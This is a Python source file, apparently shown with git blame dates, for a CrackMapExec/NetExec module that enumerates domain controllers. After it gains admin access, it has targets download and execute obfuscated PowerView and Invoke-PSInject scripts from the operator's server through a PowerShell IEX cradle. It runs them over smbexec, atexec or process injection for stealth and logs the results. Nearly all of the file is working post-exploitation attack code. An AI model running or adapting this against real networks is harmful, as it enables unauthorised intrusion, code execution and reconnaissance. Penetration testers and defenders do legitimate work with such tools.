NetExec/cme/modules/get_netdomaincontroller.py

84 lines
3.3 KiB
Python
Raw Normal View History

from cme.helpers.powershell import *
from cme.helpers.logger import write_log, highlight
from datetime import datetime
from StringIO import StringIO
2017-03-27 21:09:36 +00:00
class CMEModule:
name = 'get_netdomaincontroller'
2017-03-27 21:09:36 +00:00
description = "Enumerates all domain controllers"
supported_protocols = ['smb', 'mssql']
opsec_safe = True
multiple_hosts = False
def options(self, context, module_options):
'''
2017-05-08 05:19:04 +00:00
INJECT If set to true, this allows PowerView to work over 'stealthier' execution methods which have non-interactive contexts (e.g. WMI) (default: True)
'''
2017-03-27 21:09:36 +00:00
self.exec_methods = ['smbexec', 'atexec']
2017-05-08 05:19:04 +00:00
self.inject = True
2017-03-27 21:09:36 +00:00
if 'INJECT' in module_options:
self.inject = bool(module_options['INJECT'])
if self.inject: self.exec_methods = None
2017-04-30 19:28:09 +00:00
self.ps_script1 = obfs_ps_script('cme_powershell_scripts/Invoke-PSInject.ps1')
2017-03-27 21:09:36 +00:00
self.ps_script2 = obfs_ps_script('powersploit/Recon/PowerView.ps1')
def on_admin_login(self, context, connection):
command = 'Get-NetDomainController | select Name,Domain,IPAddress | Out-String'
launcher = gen_ps_iex_cradle(context, 'PowerView.ps1', command)
2017-03-27 21:09:36 +00:00
if self.inject:
launcher = gen_ps_inject(launcher, context, inject_once=True)
2017-03-27 21:09:36 +00:00
2017-10-25 06:45:58 +00:00
connection.ps_execute(launcher, methods=self.exec_methods)
2017-03-27 21:09:36 +00:00
context.log.success('Executed launcher')
def on_request(self, context, request):
2017-03-27 21:09:36 +00:00
if 'Invoke-PSInject.ps1' == request.path[1:]:
request.send_response(200)
request.end_headers()
request.wfile.write(self.ps_script1)
elif 'PowerView.ps1' == request.path[1:]:
request.send_response(200)
request.end_headers()
2017-03-27 21:09:36 +00:00
request.wfile.write(self.ps_script2)
else:
request.send_response(404)
request.end_headers()
def on_response(self, context, response):
response.send_response(200)
response.end_headers()
length = int(response.headers.getheader('content-length'))
data = response.rfile.read(length)
#We've received the response, stop tracking this host
response.stop_tracking_host()
dc_count = 0
if len(data):
buf = StringIO(data).readlines()
for line in buf:
if line != '\r\n' and not line.startswith('Name') and not line.startswith('---'):
2017-04-26 23:04:15 +00:00
try:
hostname, domain, ip = filter(None, line.strip().split(' '))
hostname = hostname.split('.')[0].upper()
domain = domain.split('.')[0].upper()
context.log.highlight('Hostname: {} Domain: {} IP: {}'.format(hostname, domain, ip))
context.db.add_computer(ip, hostname, domain, '', dc=True)
dc_count += 1
except Exception:
context.log.error('Error parsing Domain Controller entry')
context.log.success('Added {} Domain Controllers to the database'.format(highlight(dc_count)))
2017-04-26 23:04:15 +00:00
log_name = 'Get_NetDomainController-{}-{}.log'.format(response.client_address[0], datetime.now().strftime("%Y-%m-%d_%H%M%S"))
write_log(data, log_name)
context.log.info("Saved raw output to {}".format(log_name))